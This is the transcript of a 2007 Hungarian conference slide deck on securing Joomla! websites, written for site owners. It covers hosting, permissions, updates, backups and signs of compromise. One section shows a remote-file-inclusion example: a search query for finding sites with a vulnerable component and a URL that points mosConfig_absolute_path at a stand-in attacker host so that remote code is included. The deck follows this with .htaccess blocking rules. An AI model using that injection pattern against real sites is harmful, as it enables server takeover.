a joomla! és a biztonság
TRANSCRIPT
2007.10.21.Budapest
Hotel Flandria
A Joomla! és a biztonságHogyan tegyük bitzonságosabbá Joomla! oldalunkat
Gyurkó Zoltán
Mi a támadások célja?
Programokat helyezzenek el a szerveren, és utána ezeket a kódokat le tudják futtatni.
Új fájlok létrehozása, feltöltése
Meglévő fájlok átírása
Mik a támadási felületek?
Rendszer (OPrendszer, ftp, apache, tomcat, cpanel stb)
Weboldal (felhasználók programjai)
Kliens gép (jelszó lopás)
Támadás módja Célzott:
• nagy látogatottságú oldalak, • „látogatókat megosztó” pl politikai, társadalmi
kérdésekkel kapcsolatos tartalmú oldalak,• Pl. online vásárláshoz fizetéshez szükséges
adatok megszerzése
Robotok, botok• Zombi gépek• Credit gyűjtés
Biztonságos -e a Joomla! ?
Igen, de fokozott körültekintést igényel. Közkedvelt célpont.
Biztonságosak e a komponensek/modulok/mambotok
/templétek? Tekintsük mindet nem biztonságosnak.
Mit lehet/kell tenni?
Kezeljük kiemelten fontos kérdésként! Foglalkozzunk vele!
Telepítés előtt Telepítés közben Fejlesztés alatt Publikálás után rendszeresen
Telepítés előtt:
Körültekintően válasszunk szolgáltatót!
Nem az a jó ami olcsó és biztos, hogy minden fut. Tájékozódjunk, kérdezzünk!. Oprendszer, szerver beállítások Php beállítások (phpinfo) –
register_globals, allow_url_fopen Apache beállítások (jogosultságok,
mod_security, .htaccess) Tűzfal beállítások
Telepítés közben:A legfrisebb stabill verziót telepítsük, és megbízható helyről töltsük le.
Register_globals emuláció: • globals.php - define( 'RG_EMULATION', 0 )
Fájl/könyvtár jogosultságok: 777 jogosultságot kerüljük
Ne válasszunk nyilvánvaló jelszavakat
Fejlesztés alatt:
Ne az éles oldalon fejlesszünk, kísérletezzünk!
Mindig ellenőrizzük, hogy nem szerepel e a veszélyes komponensek/pluginok között. (http://help.joomla.org/component/option,com_easyfaq/task,view/id,186/Itemid,268/ )
Lehetőleg a hivatalos honlapról töltsünk le a legfrissebb stabil verziót, (ne kisérletezzünk igéretes beta verziókkal)
Fejlesztés közben: Mindig nézzük meg a dátumokat, ha már évek óta nem
fejlesztik, vagy nem frissítik a honlapot, akkor ne használjuk.
Olvassuk el a felhasználók hozzászólásait is (ezt nem feltétlenül a hivatalos honlapon )
Ha van bugtracker, akkor nézzük meg küldtek e biztonsági hibákat, és javították e már
Először egy fejlesztői oldalon teszteljük, (pl. le lehet e tiltani hogy a webről közvetlenül elérjék)
URL injectionVeszelyeskomponens.php
include($mosConfig_absolute_path.’mysettings.php’); http://www.google.hu/search?q=com_veszelyeskomponens
=> http://celpont.net
http://celpont.net/administrator/components/com_veszelyeskomponens/veszelyeskomponens.php
veszelyeskompnens.php?mosConfig_absolute_path=http://zombigep.net/eldugottkonyvtar
include(’http://zombigep.net/eldugottkonyvtar/mysettings.php’)// allow_url_fopen
URL injection: védekezés
Ami nem szükséges az ne legyen elérhető a webről
.htaccess
Order allow,deny
URL injection: védekezés.htaccess
# Block out any script trying to set a mosConfig value through the URLRewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URLRewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URLRewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URLRewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URLRewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
Csak az legyen elérhető a webről ami szükséges
/index.php
/index2.php
/images
/templates (!!!)
/administrator/index.php
/administrator/index2.php
/administrator/index3.php
/administrator/images/
/administrator/templates/
URL injection: védekezés
Minden fájl így kezdődjön:
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
// index.php: define( '_VALID_MOS', 1 );
legyen index.html
(vagy directoryindex index.php)
uploads temp könyvtár
Különösen veszélyes. Semmiképp ne legyen a webről elérhető könyvtárak között
Publikálás előtt: Töröljünk mindent ami nem kell (/installation,
template-ek)
Fájl/könyvtár jogosultságokat állítsuk be (644, 755)
Biztonsági beállítások (.htaccess, php.ini, IP korlátozások)
Backup
Publikálás után rendszeresen:
Rendszeresen ellenőrizzük jelent e meg frissítés. A Joomlánál is de főleg az utólag telepített komponensek/pluginok/moduloknál (mindegyiknél!)
Rendszeresen ellenőrizzük nem került e fel a veszélyes kiegészítők közé
Gyakran változtassuk a jelszavakat. Rendszeresen + minden módosítás előtt
MENTÉS
Honnan tudjuk hogy feltörték az oldalunkat?
Gyakran nincsenek látható jelek! Megpróbálják elrejteni, sokszor csak egy „jelre” várnak, hogy aktiválódjanak (zombi gépek).
Valószínű: Látható jelei vannak az oldalon (pl. felülírták az index.php, az
adatbázisban átírták a cikkeket stb) „Idegen” kód a forrásban (iframe, <script>, <embed>). Általában kódolt, pl
ASCII, BASE64 kiugró látogatottság böngésző biztonsági üzenet trójai- víruspajzs figyelmeztetés
Gyanús: korbábban működő komponensek, modulok nem vagy furcsán működnek nem törölhető könyvtárak
Ha megvan a baj
FONTOS! Nem elég csak a hibás komponenst frissíteni!
Állítsuk vissza a legutóbbi mentésből a támadás előtti állapotot és utána frissítsünk
2007.10.21.Budapest
Hotel Flandria
Click to edit company slogan .